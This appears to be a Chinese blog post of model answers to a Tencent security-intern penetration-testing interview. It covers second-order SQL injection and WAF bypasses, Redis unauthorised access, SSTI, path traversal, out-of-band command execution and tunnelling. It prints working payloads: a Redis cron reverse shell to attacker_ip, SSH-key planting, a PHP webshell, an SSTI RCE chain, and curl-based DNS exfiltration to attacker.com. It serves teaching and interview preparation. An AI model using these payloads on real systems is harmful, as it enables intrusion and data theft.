2025年渗透测试面试题总结-某腾某讯-技术安全实习生升级(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

腾讯-技术安全实习生

SQL二次注入原理与防御

[1. SQL二次注入原理](#1. SQL二次注入原理)

[2. 二次注入修复方案](#2. 二次注入修复方案)

SQL注入绕过WAF技巧(过滤information关键词)

[1. 关键词替代方案](#1. 关键词替代方案)

[2. 编码与混淆技术](#2. 编码与混淆技术)

[3. 协议级绕过](#3. 协议级绕过)

Redis未授权访问攻防

[1. 漏洞成因与攻击手法](#1. 漏洞成因与攻击手法)

[2. 防御方案](#2. 防御方案)

渗透测试全流程解析

[1. 信息收集阶段](#1. 信息收集阶段)

[2. 漏洞利用阶段](#2. 漏洞利用阶段)

[3. 后渗透阶段](#3. 后渗透阶段)

CTF经典题目解析(Web方向)

[1. 题目背景](#1. 题目背景)

[2. 解题思路](#2. 解题思路)

文件下载漏洞利用与文件名探测

[1. 漏洞利用方式](#1. 漏洞利用方式)

[2. 文件名探测策略](#2. 文件名探测策略)

命令执行漏洞不出网场景处理

[1. 非交互式利用方法](#1. 非交互式利用方法)

[2. 存储型利用](#2. 存储型利用)

隧道通信技术详解

[1. DNS隧道(dnscat2)](#1. DNS隧道(dnscat2))

[2. ICMP隧道(ptunnel)](#2. ICMP隧道(ptunnel))

[3. HTTP隧道(reGeorg)](#3. HTTP隧道(reGeorg))

总结与扩展思考

腾讯-技术安全实习生

复制代码
sql二次注入原理

二次注入修复

sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过

redis未授权访问

渗透测试完整流程

打CTF印象比较深刻的题目

文件下载漏洞利用方式

利用文件下载漏洞找文件名具体是找什么文件名(读取文件一般会读取哪些文件)(ctf中?实战中)

命令执行漏洞,http不出网有什么比较号的处理方法(发散一点说)

接上一题,通过隧道通信,详细讲讲通过上面类型的隧道,讲讲具体的操作

SQL二次注入原理与防御

1. SQL二次注入原理

核心机制:攻击数据经过存储后触发漏洞,区别于普通注入的即时执行。

  • 攻击流程
    1. 初次输入 :用户提交恶意数据(如admin'-- ),数据被存入数据库
    2. 数据存储:系统未对存储数据进行安全处理(如转义或过滤)
    3. 二次调用:程序从数据库读取该数据并拼接SQL语句(如更新密码操作)
    4. 漏洞触发 :恶意字符破坏SQL结构(如UPDATE users SET password='...' WHERE username='admin'-- '

隐蔽性分析

  • 初次输入可能通过严格过滤,但存储后的调用环节未做二次校验
  • 常见场景:用户注册、评论功能、数据导入导出

案例:某CMS用户注册漏洞

  • 注册用户名为test' OR 1=1-- ,后续密码重置功能触发SQL执行

2. 二次注入修复方案

多层次防御体系

  1. 输入层过滤 :对特殊字符转义(如PHP的mysqli_real_escape_string
  2. 存储层处理:入库前统一编码(如Base64或HEX编码)
  3. 执行层防护 :强制使用预编译语句(Java的PreparedStatement
  4. 权限隔离 :数据库账户仅赋予最小必要权限(禁用FILE权限)

代码示例

复制代码
python`# 错误做法:直接拼接SQL cursor.execute(f"UPDATE users SET email='{email}' WHERE id={user_id}") # 正确做法:参数化查询 cursor.execute("UPDATE users SET email=%s WHERE id=%s", (email, user_id))`

SQL注入绕过WAF技巧(过滤information关键词)

1. 关键词替代方案
  • 系统表绕过
    • MySQL:使用sys.schema_auto_increment_columns 替代information_schema
    • PostgreSQL:pg_catalog.pg_tables
  • 盲注技术
    • 布尔盲注:通过页面响应差异判断数据内容
    • 时间盲注:IF(SUBSTR(database(),1,1)='a', SLEEP(5), 0)
  • 错误回显利用
    • 触发报错泄露数据(如exp(~(SELECT * FROM (SELECT USER())a))
2. 编码与混淆技术
  • 十六进制编码0x696E666F726D6174696F6E(information的HEX)
  • 注释分割inf/**/ormation
  • 大小写混合InForMAtiOn
3. 协议级绕过
  • 分块传输:利用Transfer-Encoding: chunked绕过WAF检测
  • 参数污染id=1&id=2 UNION SELECT 1,2,3
  • HTTP参数拆分:通过换行符或特殊分隔符干扰WAF解析

Redis未授权访问攻防

1. 漏洞成因与攻击手法
  • 漏洞条件
    • Redis绑定0.0.0.0且未设置密码
    • 防火墙未限制外网访问(默认端口6379)
  • 攻击方式
    1. 写入SSH公钥

      复制代码
      bash`redis-cli -h target_ip config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3NzaC...\n\n" save `
    2. 计划任务反弹Shell

      复制代码
      bash`set cron "\n\n* * * * * bash -i >& /dev/tcp/attacker_ip/port 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save `
    3. Webshell写入
      通过Redis写入PHP文件到Web目录

2. 防御方案
  • 网络层:限制IP白名单访问,禁用公网暴露
  • 服务层:启用认证(requirepass配置项)
  • 系统层:以低权限用户运行Redis,禁用高危命令(rename-command FLUSHALL "")

渗透测试全流程解析

1. 信息收集阶段
  • 主动扫描:Nmap(端口扫描)、Masscan(全网段扫描)
  • 被动情报
    • WHOIS查询、证书透明度(CT Log)
    • GitHub搜索(代码泄露)、Shodan(设备指纹)
  • 社会工程:钓鱼邮件分析、员工信息收集(LinkedIn)
2. 漏洞利用阶段
  • 自动化工具
    • SQLMap(注入漏洞)、Metasploit(漏洞利用框架)
  • 手动验证
    • 越权测试(修改Cookie或ID参数)
    • 文件上传绕过(Content-Type、双后缀名)
3. 后渗透阶段
  • 权限维持
    • Windows:黄金票据、WMI订阅
    • Linux:SSH公钥植入、Crontab后门
  • 横向移动
    • 密码喷洒攻击(Kerberos协议)
    • Pass-the-Hash(NTLM哈希传递)
  • 数据窃取
    • 数据库导出(mysqldump)
    • 敏感文件打包压缩(tar + OpenSSL加密传输)

CTF经典题目解析(Web方向)

1. 题目背景
  • 场景描述 :某次CTF中遇到一道基于Python Flask的SSTI(服务端模板注入)题目,过滤了{``{}}等常见字符
2. 解题思路
  • 绕过过滤

    • 使用{% if request.args.x %}...{% endif %}触发代码执行
    • 通过|attr访问对象属性(如config|attr("__class__")
  • 利用链构造

    复制代码
    python`{``{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat flag').read() }}`
  • 工具辅助:使用tplmap自动化检测SSTI漏洞


文件下载漏洞利用与文件名探测

1. 漏洞利用方式
  • 路径遍历
    • 经典Payload:../../../../etc/passwd
    • 编码绕过:..%252f..%252fetc/passwd(双重URL编码)
  • 文件类型绕过
    • 强制下载文本文件(file=image.jpg/.php
    • 结合文件包含漏洞(PHP的php://filter读取源码)
2. 文件名探测策略
  • CTF常见目标
    • /flag/flag.txt/app/secret_key
    • Web配置文件:/var/www/html/config.php
  • 实战敏感文件
    • 数据库凭证:/WEB-INF/classes/db.properties
    • 备份文件:backup.zipdatabase.sql.bak
    • 日志文件:/var/log/apache2/access.log

命令执行漏洞不出网场景处理

1. 非交互式利用方法
  • 延时盲注

    • sleep 5判断命令是否执行
    • 通过响应时间差异推断执行结果
  • DNS外带数据

    复制代码
    bash`curl http://attacker.com/$(whoami |base64).evil.com `
  • HTTP日志外带
    将命令结果写入Web日志,通过访问日志读取

2. 存储型利用
  • 写入Web目录

    复制代码
    bash`echo "<?php system($_GET['cmd']);?>" > /var/www/html/shell.php `
  • 计划任务定时执行

    复制代码
    bash`(crontab -l; echo "* * * * * curl http://attacker.com/$(date)") | crontab -`

隧道通信技术详解

1. DNS隧道(dnscat2)
  • 服务端搭建

    复制代码
    bash`dnscat2-server --domain=evil.com `
  • 客户端连接

    复制代码
    bash`dnscat2-client --dns server=evil.com --secret=password `
  • 数据封装:将TCP流量封装在DNS查询的TXT记录中

2. ICMP隧道(ptunnel)
  • 服务端启动

    复制代码
    bash`ptunnel -x password `
  • 客户端配置

    复制代码
    bash`ptunnel -p server_ip -lp 1080 -da target_ip -dp 22 -x password `
  • 流量伪装:通过ICMP Echo Request/Reply传输数据

3. HTTP隧道(reGeorg)
  • 上传代理脚本 :将tunnel.jsp 部署到目标Web服务器

  • 本地连接

    复制代码
    bash`python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.jsp `
  • 协议穿透:通过HTTP长连接转发TCP流量


总结与扩展思考

以上问题覆盖了Web安全的核心知识点,在实战中需注意:

  1. 漏洞组合利用:如文件下载+文件包含实现RCE
  2. 绕过技术的演进:AI生成绕过Payload(如GPT构造混淆语句)
  3. 防御纵深建设:从网络层到应用层的多层次防护
相关推荐
Tanecious.2 小时前
机器视觉--python基础语法
开发语言·python
ACRELKY2 小时前
【黑科技护航安全】分布式光纤测温:让隐患无处可藏
科技·安全
叠叠乐2 小时前
rust Send Sync 以及对象安全和对象不安全
开发语言·安全·rust
想跑步的小弱鸡2 小时前
Leetcode hot 100(day 3)
算法·leetcode·职场和发展
ALe要立志成为web糕手2 小时前
SESSION_UPLOAD_PROGRESS 的利用
python·web安全·网络安全·ctf
战族狼魂2 小时前
CSGO 皮肤交易平台后端 (Spring Boot) 代码结构与示例
java·spring boot·后端
zhu12893035563 小时前
网络安全的现状与防护措施
网络·安全·web安全
澳鹏Appen3 小时前
AI安全:构建负责任且可靠的系统
人工智能·安全
Tttian6223 小时前
Python办公自动化(3)对Excel的操作
开发语言·python·excel
xyliiiiiL3 小时前
ZGC初步了解
java·jvm·算法